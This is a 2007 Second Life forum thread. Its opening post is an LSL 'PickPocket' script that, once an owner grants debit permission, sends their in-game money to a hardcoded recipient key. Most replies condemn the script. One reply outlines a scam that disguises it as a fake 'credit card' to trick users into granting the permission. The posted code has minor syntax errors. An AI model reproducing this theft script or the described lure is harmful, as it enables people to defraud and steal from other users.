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PureEvil PickPocket Script

Mitzpatrick Fitzsimmons
Neurotican Mage
Join date: 20 Sep 2004
Posts: 62
02-28-2007 12:24
CODE
//-----------------------------------------------------------------------------------
// PureEvil PickPocket Script C 2005-2007
// By Mitzpatrick Fitzsimmons
//-----------------------------------------------------------------------------------

//----------------------------DISCLAIMER!--------------------------------------------
// This script will take money from the person that owns the object it is in
// ONLY IF that owner accepts the PERMISSION_DEBIT.

// The UUID of the "thief" variable is to whom the money is paid to.
// I accept no responsability for the USE or MISUSE of this script.
// As with anything in SL, make sure you know what you are doing before you do it.
//-----------------------------------------------------------------------------------

key thief = "605dc2e5-3bdf-427e-a38d-98390c124249"; // Insert the key of the person who is going to get the money here.
list ammount = [32768, 16384, 8192, 4096, 2048, 1024, 512, 256, 128, 64, 32, 16, 8, 4, 2 1];


pay () {
integer m = llGetListLength(ammount);
integer i = 0;
while (i<m) {
llGiveMoney(thief,llList2Integer(ammount,i));
i++;
}
}

default
{
on_rez(integer number)
{
llResetScript()
}

state_entry()
{
llSay(0, "Touch the PickPocket!");
}

touch_start(integer total_number)
{
llRequestPermissions(llGetOwner(),PERMISSION_DEBIT);
}

run_time_permissions(integer number)
{
if(number >0)
{
pay();
}else{
llSay(0, "PickPocket has no permissions");
}

}
}
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Nada Epoch
The Librarian
Join date: 4 Nov 2002
Posts: 1,423
Original Thread
03-06-2007 03:08
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Note - The legality of this script is dubious. Use at your own risk.
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i've got nothing. ;)
Enigma Cassavetes
Registered User
Join date: 26 Jan 2007
Posts: 28
So sad.
03-06-2007 03:54
So you thought you'd do some scripting and this is what your creativity comes up with? So sad. What's your next project? A rape script?
Squeebee Wakawaka
Newbie Savant
Join date: 22 Feb 2006
Posts: 28
03-07-2007 05:10
That's putting it lightly, I'd be hard-pressed to find an ethical use for this script.
SF Allen
Registered User
Join date: 31 Jan 2007
Posts: 33
03-13-2007 04:55
----------------------------DISCLAIMER!--------------------------------------------
// This script will take money from the person that owns the object it is in
// ONLY IF that owner accepts the PERMISSION_DEBIT.

// The UUID of the "thief" variable is to whom the money is paid to.
// I accept no responsability for the USE or MISUSE of this script.
// As with anything in SL, make sure you know what you are doing before you do it.
//-----------------------------------------------------------------------------------

An SL pickpocket..........how very sad. I hope a mod is watching this.
SF Allen
Registered User
Join date: 31 Jan 2007
Posts: 33
03-13-2007 04:59
An SL pickpocket script, how very sad. Hope a mod is watching this!
Shidji Woollahra
Registered User
Join date: 4 Nov 2006
Posts: 2
04-16-2007 09:28
I could see valid uses for this. Especially in a D/s relationship where one has control over the other's funds. It simply removes any need for them to worry about giving any acquired funds to their Master/Mistress to manage for them, and adds another level to their Pet's desire to give themselves completely to their Master/Mistress. It could be incorporated into one of those slave coin-boxes. Obviously it would have to be consentual and the two involved would need to be responsible with it but that could be fun, for those that are into that kind of roleplay.

It could also be used to completely scam someone, such as creating say, some kind of "credit card" with a little custom SL logo on it. A scammer could stick this script in it and try to advertise it as a new, legitimate way to buy items in-game explaining that they need to wear it, and when it asks them to accept debit permissions, they should say 'yes' because that's how they activate the card... that in doing so they will see their funds drop to 0 but that's because the money was transferred to their "card account" instead, where they will earn interest, or some other way to entice them into believing the lie.

I would hope that above all else, common sense would come into play here: if a FRIEND of yours didn't tell you that this is going to happen and you DON'T know why something is asking you for this permission, the correct answer is.... NOOOOOOO. Until you know without a doubt why it's asking you for that permission.
Shidji Woollahra
Registered User
Join date: 4 Nov 2006
Posts: 2
04-16-2007 09:38
Oh... and before you try using this... be SURE to take that other key out of there. You'll end up giving your money to whomever that is if you don't.
Eiji Mayo
Registered User
Join date: 5 Jun 2007
Posts: 79
06-06-2007 14:12
Yeah... Sorry to say, but ALOT of pickpockets are gonna get sued if they use this... It's just like taking REAL money from someone else... You are VERY creative and good at coding though(^_^) ten thumbs up here!